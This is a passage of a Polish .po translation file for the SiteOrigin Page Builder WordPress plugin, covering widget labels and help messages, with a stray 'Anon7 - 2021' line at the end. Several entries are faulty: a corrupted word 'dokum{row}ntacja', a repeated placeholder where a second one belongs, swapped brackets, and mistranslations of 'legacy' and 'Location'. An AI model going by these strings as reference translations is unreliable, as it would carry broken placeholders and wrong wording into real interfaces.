msgstr "Oświadczenie (PB)"

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr "Umiejscawianie"

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr "Obraz"

#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr "URL"

#: siteorigin-panels.php:1254
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr "Widżet 1{%1$s} nie jest dostępny. Spróbuj umiejscawiania i zainstaluj brakującą wtyczkę. Przejdź do punktu 2 (forum wsparcia technicznego) w razie potrzeby pomocy."

#: tpl/js-templates.php:64
msgid "Add a 1{widget}, 2{row} or 3{prebuilt layout} to get started. Read our 4{documentation} if you need help."
msgstr "Dodaj 1(widget), 2{row} lub 3(wbudowany układ) aby rozpocząć. Przeczytaj 4(dokum{row}ntacja) w razie potrzeby pomocy."

#: widgets/basic.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr "Gotowy układ w postaci widżetu SiteOrigin Page Builder "

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr "Wyświetl wypunktowaną listę"

#: inc/widgets.php:118
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr "Zezwól na więcej widżetów w 1{Ustawienia Pakietów Widżetów}."

#: inc/widgets.php:127
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr "Zainstaluj 1{Pakiet Widżetów} aby uzyskać dodatkowe widżety."

#: inc/widgets.php:140
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr "Możesz zezwolić na kolejne widżety (PB) w 1{Ustawienia Pakietów Widżetów}. "

#: siteorigin-panels.php:1231
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr "Musisz zainstlować 1{%1$s} aby używać widżetu 1{%1$s}"

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr "Proszę zapoznaj się z 1(przewodnik po ustawieniach) zawarty z dokumentacji Page Buildera aby skorzystać z pomocy."

#: tpl/admin-home-page.php:29
msgid "Home page updated. 1{View page}."
msgstr "Zaktualizowana strona główna 1{Zobacz stronę}"

#: widgets/basic.php:469 widgets/widgets.php:629
msgid "Additional query arguments. See 1{query_posts}."
msgstr "Dodatkowe zapytania. Zobacz 1{zapytania}"

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr "Przeczytaj 1{Pełna Dokumentacja} na SiteOrigin. Zadaj pytanie naszemu 2{centrum pomocy technicznej} w razie potrzeby pomocy oraz zapisz się do 3{naszego newslettera} aby śledzić nasz rozwój."

#: tpl/js-templates.php:302
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr "1{Ustaw układ rzędu}: %1$s kolumny w proporcji od %2$s do %3$s "

Anon7 - 2021